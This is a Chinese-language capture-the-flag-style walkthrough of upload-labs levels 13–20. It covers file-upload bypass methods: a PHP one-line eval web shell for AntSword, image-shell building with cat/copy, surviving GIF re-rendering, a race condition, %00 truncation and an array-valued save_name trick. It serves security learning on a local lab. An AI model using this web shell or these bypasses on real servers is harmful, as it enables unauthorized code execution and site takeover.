目录

upload-labs Pass13 to 20

前言:一句话木马原理

一句话木马

1
<?php eval($_POST['ant']); ?>

例如对于include包含漏洞,请求体增加一个post的参数ant=phpinfo();,就会实现执行phpinfo()

./oneword.png
一句话木马原理

Antsword

Antsword 中文文档

Pass13-文件拼接+include文件包含

  1. 直接修改后缀是无法通过,原因是检查文件头类型
  2. 文件被重命名,而且后缀跟随文件头类型,由于限制了白名单,相当于无法修改

./pass13-header.png
文件头检查

方法1:直接添加文件头信息

添加文件头绕过

./pass13-addheader.png
添加文件头绕过

方法2:拼接图片和php文件

文件拼接,注意拼接顺序

linux下

1
cat testimg.png ant.php > out.png

windows下(cmd下,powershell下不成功)

1
copy testimg.png/B+ant.php/A out.png

注意:copy /B和/A参数的意义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
D:>copy /?
将一份或多份文件复制到另一个位置。
COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/L] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]
source       指定要复制的文件。
/A           表示一个 ASCII 文本文件。
/B           表示一个二进位文件。
/D           允许解密要创建的目标文件
destination  为新文件指定目录和/或文件名。
/V           验证新文件写入是否正确。
/N           复制带有非 8dot3 名称的文件时,
尽可能使用短文件名。
/Y           不使用确认是否要覆盖现有目标文件
的提示。
/-Y          使用确认是否要覆盖现有目标文件
的提示。
/Z           用可重新启动模式复制已联网的文件。
/L           如果源是符号链接,请将链接复制
到目标而不是源链接指向的实际文件。
命令行开关 /Y 可以在 COPYCMD 环境变量中预先设定。
这可能会被命令行上的 /-Y 替代。除非 COPY
命令是在一个批处理脚本中执行的,默认值应为
在覆盖时进行提示。
要附加文件,请为目标指定一个文件,为源指定
数个文件(用通配符或 file1+file2+file3 格式)。

最后利用注入点:由于无法上传htaccess或者user.ini,题目是需要利用提示存在的文件包含漏洞 访问 http://127.0.0.1/include.php?file=upload/2220220729012635.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
    /*
    本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
    */
    header("Content-Type:text/html;charset=utf-8");
    $file = $_GET['file'];
    if(isset($file)){
        // include会把文件当成php文件解析,
        include $file;
    }else{
        show_source(file);
    }
?>

./pass13-include.png
文件包含结果
./pass13-ant.png
antsword连接效果

Pass14-getimagesize大小检查

见Pass13的方法2

Pass15-exif_imagetype检查

见Pass13的方法2

Pass16-imagecreatefromjpeg图片二次渲染

pass16由于重新渲染了图片,会把原来嵌入的代码删掉
gif\png\jpg格式需要不同的插入方式, 参考其他方式的wp
下面以gif为例

  1. 先上传一个out.gif图片马,上传后发现无法像Pass13一样访问,原因是存在类似$im = imagecreatefromjpeg($target_path);进行重新渲染

  2. 重新下载服务器生成的gif文件,使用010Editor打开,发现尾部的php代码已经被删除

    ./pass16-delcode.png
    上传的文件gif文件,尾部php代码被删除

  3. 对比上传前后的文件,发现重新渲染的gif部分信息没有更改

    ./pass16-nochange.png
    上传前后没变化的部分

  4. 插入php代码带没变化的位置,注意没变化的数据长度要足以覆盖php代码长度,否则不生效

    ./pass16-add.png
    插入php代码,橙色部分

./pass16-success.png
成功绕过

Pass17-条件竞争

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// 临时文件保存在$upload_file
if(move_uploaded_file($temp_file, $upload_file)){
    // 然后才检查其他内容
    if(in_array($file_ext,$ext_arr)){
            $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
            rename($upload_file, $img_path);
            $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}

审计源码发现:

  1. 上传的数据包直接先保存在$upload_file路径,再进行in_array白名单后缀检查
  2. 只要我们上传一个php文件,其实它是可以短暂存在于$upload_file,而且可以是一个php可解析文件
  3. 然后需要使用burpsuite,拦截上传的数据包后创建Instruder,不断的发包
  4. 通过浏览器或者脚本不断访问零食文件,直到访问成功

暂没复现成功

Pass19-%00截断

把保存的名称参数通过%00进行截断即可成功

Pass20

  1. 上传ant.php,burpsuite拦截修改数据包,

    ./pass20-ant.png
    上传ant.php

  2. 绕过MIME检查,通过代码审计知道需要修改Content-Type: image/jpeg

    1
    2
    3
    4
    5
    
     //绕过检查MIME
     $allow_type = array('image/jpeg','image/png','image/gif');
     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
         $msg = "禁止上传该类型文件!";
     }
    
  3. 继续代码审计

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    
    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
        $msg = "禁止上传该后缀文件!";
    }else{
        $file_name = reset($file) . '.' . $file[count($file) - 1];
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' .$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $msg = "文件上传成功!";
            $is_upload = true;
        } else {
            $msg = "文件上传失败!";
        }
    }
    
    • 根据empty($_POST[‘save_name’])的判断,如果save_name空,file=name继续操作,file通过$file = explode('.', strtolower($file))打断成为数组,后缀ext就是最后一个元素

    • 这时如果通过name=ant.php%00.jpg截断,后缀还是php,无法通过后面in_array检查

      ./pass20-phpext.png
      只00截断,无法通过,后缀仍是php

    • 所以save_name不能置空,让file=save_name,然后为了绕过后面的检查,将save_name修改为数组,%00记得urldecode

      ./pass20-savename.png
      修改save_name

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      
      // file传入的时save_name数组,绕过了打断
      if (!is_array($file)) {
          $file = explode('.', strtolower($file));
      }
      // save_name最后一个元素时jpg,绕过了后缀检查
      $ext = end($file);
      $allow_suffix = array('jpg','png','gif');
      if (!in_array($ext, $allow_suffix)) {
          $msg = "禁止上传该后缀文件!";
      } else {
          // 取出了save_name的第一个和最后一个元素组合成新文件名
          // 新文件名file_name=upload-20.php%00.jpg
          // move_uploaded_file时就会发生截断
          $file_name = reset($file) . '.' . $file[count($file) - 1];
          $temp_file = $_FILES['upload_file']['tmp_name'];
          $img_path = UPLOAD_PATH . '/' .$file_name;
          if (move_uploaded_file($temp_file, $img_path)) {
              $msg = "文件上传成功!";
              $is_upload = true;
          } else {
              $msg = "文件上传失败!";
          }
      }